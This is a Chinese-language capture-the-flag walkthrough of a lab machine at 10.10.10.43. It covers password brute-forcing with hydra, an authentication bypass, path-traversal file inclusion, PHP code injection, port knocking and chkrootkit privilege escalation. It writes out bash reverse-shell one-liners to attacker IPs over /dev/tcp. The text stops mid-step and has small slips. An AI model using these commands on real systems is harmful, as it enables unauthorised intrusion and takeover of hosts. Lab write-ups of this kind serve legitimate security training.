nmap scan
#### port explore 80:apache正常工作的界面 443:443端口是一张图片 #### 目录扫描 80端口扫到phpinfo,表明fileupload功能处于开启状态 443端口扫到db/index.php,是一个登录界面 #### searchsploit `searchsploit phpliteadmin` 存在两个sql注入的利用,剩余两个一个版本不符合一个是xss和csrf利用 #### hydra爆破密码 `hydra 10.10.10.43 -l abc -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"` hydra强制要求一个用户名,-P为选择一个密码文件,https-post-form为一个插件,它将下面的字符串以:隔开,/db/index.php是以post方式传递的路径,第二部分是需要以post方式传送的数据,将^PASS^的内容替换为密码字典中的密码,最后的Incorrect password是回复包中表明登录失败的检测语句 爆破出的密码为password123 #### shell reverse 在登录以后,存在一个名为test的数据库,但其中并不存在表 根据`PHPLiteAdmin 1.9.3 - Remote PHP Code Injection`的文件显示,实现rce的方法为先创建一个以.php为后缀的数据库,然后在里面建一张表,插入一条数据为`` 可以看到hack.php存储的位置,但是不知道应该如何访问 在80端口还存在一个/department,也是一个登陆界面 在测试后可以知道这个登录接口存在一个admin的用户 这里存在一个以数组方式提交密码的phpbug 在登陆时用burpsuite改包,将password改为password[],发现可以绕过认证实现登录 里面存在一条note信息 因为其url里面的形式为`http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt` 所以我们推测可能存在文件包含漏洞 在尝试过后只有`notes=files/ninevehNotes/../../../../../../etc/passwd`和`/ninevehNotes/../../etc/passwd`会回显 接下来我们可以根据之前存储的位置/var/tmp/hack.php看看能不能实现命令回显 然后将cmd内的命令改为`bash -c 'bash -i >%26 /dev/tcp/10.10.14.5/8888 0>%261'` 成功获得回弹的shell 在/var/www/ssl目录中的secure_notes下有主页上显示的图片,通过`strings nineveh.png`可以发现该图片中隐藏了ssh密钥 将这个保存到本地然后用ssh2john转化成john能破解的格式 但是22端口只在本地开放了 尝试使用knock使22端口开放,配置文件存在于/etc/kncokd.conf 首先进行敲门 `knock 10.10.10.43 571 290 911` 或者使用nmap进行敲门 `nmap -Pn --host-timeout 100 --max-retries 0 -p 571,290,911 10.10.10.34` 使用telnet检验22端口是否开放 成功实现以user身份登录 #### root 在report文件夹中存在一些report.txt,每分钟执行了一次 这些文件是一个叫rootkit的程序产生的 接下来是利用rootkit提权 大致就是在/tmp文件夹中输入转发shell的语句,然后等有root权限的chkrootkit扫过来的时候语句会被执行,这个漏洞给并不需要amrols权限使用www就可以实现 `echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.24/443 0>&1' > update` 预期的行为是设置$file_port为等于"$file_port $i"。但是由于""缺少 ,bash将其视为设置file_port=$file_port然后运行$i第二种获得shell的方法是通过php的upload功能
首先我们将info.php的传输改为post并在方法体中加上content-type
`
Content-Type: multipart/form-data; boundary=—————————7db268605ae
—————————–7db268605ae
Content-Disposition: form-data; name=”dummyname”; filename=”test.txt” Content-Type: text/plainSecurity
Test
—————————–7db268605ae
`
然后在返回的页面上我们可以看到传送的内容被存储器来了
修改脚本为如下状态